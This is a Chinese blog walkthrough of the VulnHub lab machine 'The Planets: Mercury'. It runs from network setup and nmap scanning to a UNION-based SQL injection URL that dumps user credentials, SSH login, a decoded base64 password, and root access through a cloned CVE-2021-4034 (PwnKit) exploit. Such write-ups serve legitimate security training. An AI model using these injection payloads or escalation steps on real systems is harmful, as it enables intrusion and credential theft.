vulnhub靶场——THE PLANETS: MERCURY

THE PLANETS:MECURY

准备

攻击机: kali
靶机: THE PLANETS:MECURY NAT 192.168.91.0 网段
下载连接:
https://www.vulnhub.com/entry/the-planets-mercury,544/
测试发现无法正常获取IP,因此进入拯救模式修改网卡配置文件。
开机长按 shift 显示如下画面:
01
在当前画面按 e
02
如图所示,将 ro quiet 跟改为 : rw signie init=/bin/bash
03
然后按 ctrl + x 进入系统进入系统,输入: lsb_release -a 系统发行版本04
如图所示为 Ununtu 20.0.4, 众所周知,Ubunut 新版本中修改IP地址配置文件为 /etc/netplan/*** (*** 根据实际情况文件名称是什么就是什么)先查看网卡名称
05
为 ens33,现在修改配置文件
vi /etc/netplan/00-installer-config.yaml
请添加图片描述
如图所示将 原本错误的网卡名称跟改为 ens33, 这里已经修改完成。现在只需重启linux 正常启动即可。
请添加图片描述

信息搜集与利用

主机发现

请添加图片描述
如图所示得到了目标靶机的IP地址: 192.168.91.172

端口扫描

nmap -sV -p- -A -sS 192.168.91.172 -oN nmap_mercury.txt

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-09 17:05 CST
Nmap scan report for 192.168.91.172
Host is up (0.00092s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c8:24:ea:2a:2b:f1:3c:fa:16:94:65:bd:c7:9b:6c:29 (RSA)
|   256 e8:08:a1:8e:7d:5a:bc:5c:66:16:48:24:57:0d:fa:b8 (ECDSA)
|_  256 2f:18:7e:10:54:f7:b9:17:a2:11:1d:8f:b3:30:a5:2a (ED25519)
8080/tcp open  http-proxy WSGIServer/0.2 CPython/3.8.2
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Wed, 09 Feb 2022 09:04:57 GMT
|     Server: WSGIServer/0.2 CPython/3.8.2
|     Content-Type: text/html
|     X-Frame-Options: DENY
|     Content-Length: 2366
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta http-equiv="content-type" content="text/html; charset=utf-8">
|     <title>Page not found at /nice ports,/Trinity.txt.bak</title>
|     <meta name="robots" content="NONE,NOARCHIVE">
|     <style type="text/css">
|     html * { padding:0; margin:0; }
|     body * { padding:10px 20px; }
|     body * * { padding:0; }
|     body { font:small sans-serif; background:#eee; color:#000; }
|     body>div { border-bottom:1px solid #ddd; }
|     font-weight:normal; margin-bottom:.4em; }
|     span { font-size:60%; color:#666; font-weight:normal; }
|     table { border:none; border-collapse: collapse; width:100%; }
|     vertical-align:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Wed, 09 Feb 2022 09:04:57 GMT
|     Server: WSGIServer/0.2 CPython/3.8.2
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Content-Length: 69
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Hello. This site is currently in development please check back later.
|   RTSPRequest:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: WSGIServer/0.2 CPython/3.8.2
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

仔细查看扫描结果,只开放了 22,8080两个端口,其中 8080 为 python 3.8构成的页面。
http://192.168.91.172:8080/
请添加图片描述
尝试是否开启了 DEBUG,随便构造一个错误的url即可
请添加图片描述
如图所示可以断定为 Django 开发的网页,存在的 路由有: robots.txt ,mercuryfacts/, 访问它们,同时扫一下目录

目录扫描

dirb http://192.168.91.172:8080/
默认只能扫描出 robots.txt 然而 robots.txt协议什么都没有
访问:
http://192.168.91.172:8080/mercuryfacts/
请添加图片描述
如图所示显示出了 水星?
进入 Load a fact 页面显示如下
http://192.168.91.172:8080/mercuryfacts/1/
请添加图片描述
如图所示,注意数字1,经过测试1-8可以显示内容,猜测存在sql注入,验证:
http://192.168.91.172:8080/mercuryfacts/1’/
请添加图片描述
如上报错,则证明sql 注入存在。经过测试得到如下内容:
http://192.168.91.172:8080/mercuryfacts/44%20union%20select%20group_concat(username,0x2d,password)%20from%20users/

请添加图片描述
得到了几个用户名和密码。那么尝试能否 ssh 登陆。
经测试发现最后一个用户 webmaster-mercuryisthesizeof0.056Earths ssh 登陆成功
请添加图片描述
信息搜集
请添加图片描述
如图所示:在当前目录下存在第一个flag
cat /etc/passwd | grep "/bin.bash"
如图所示:除了 root 用户外,另有三个用户具有 /bin/bash 分别是: mercury,webmaster(当前登陆用户),linuxmaster。

flag 1

请添加图片描述
[user_flag_8339915c9a454657bd60ee58776f4ccd]

根据老套路,最后一个 flag 一般在 root 目录下,因此需要提权
在 mercury_proj/notes.txt 有如下内容
请添加图片描述
如图所示很明显:linuxmaster 为之后要切换的用户,其密码为 base64编码 bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg== 将其解码得到:
mercurymeandiameteris4880km

因此得到用户名和密码: linuxmaster:mercurymeandiameteris4880km

切换用户到 linuxmaster
请添加图片描述
如图所示切换成功。

SUID提取

find / -perm -u=s -type f 2>/dev/null
请添加图片描述
经过搜索发现 最后一个即红框中的内容存在提权漏洞,而且是去年才曝光的漏洞:
CVE-2021-4034
git clone https://github.com/berdav/CVE-2021-4034
请添加图片描述
进入 CVE-2021-4034 文件夹然后执行 make 命令
请添加图片描述
将生成 cve-2021-4034 可执行文件,直接运行即可
./cve-2021-4034
请添加图片描述
如图所示成功提权,拿到 root 权限,现在找root 目录下的 flag即可
请添加图片描述
如图所示拿到了 flag, 这个系列靶机挺有意思的。

总结:

  1. sql 注入
  2. cve-2021-4034
  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值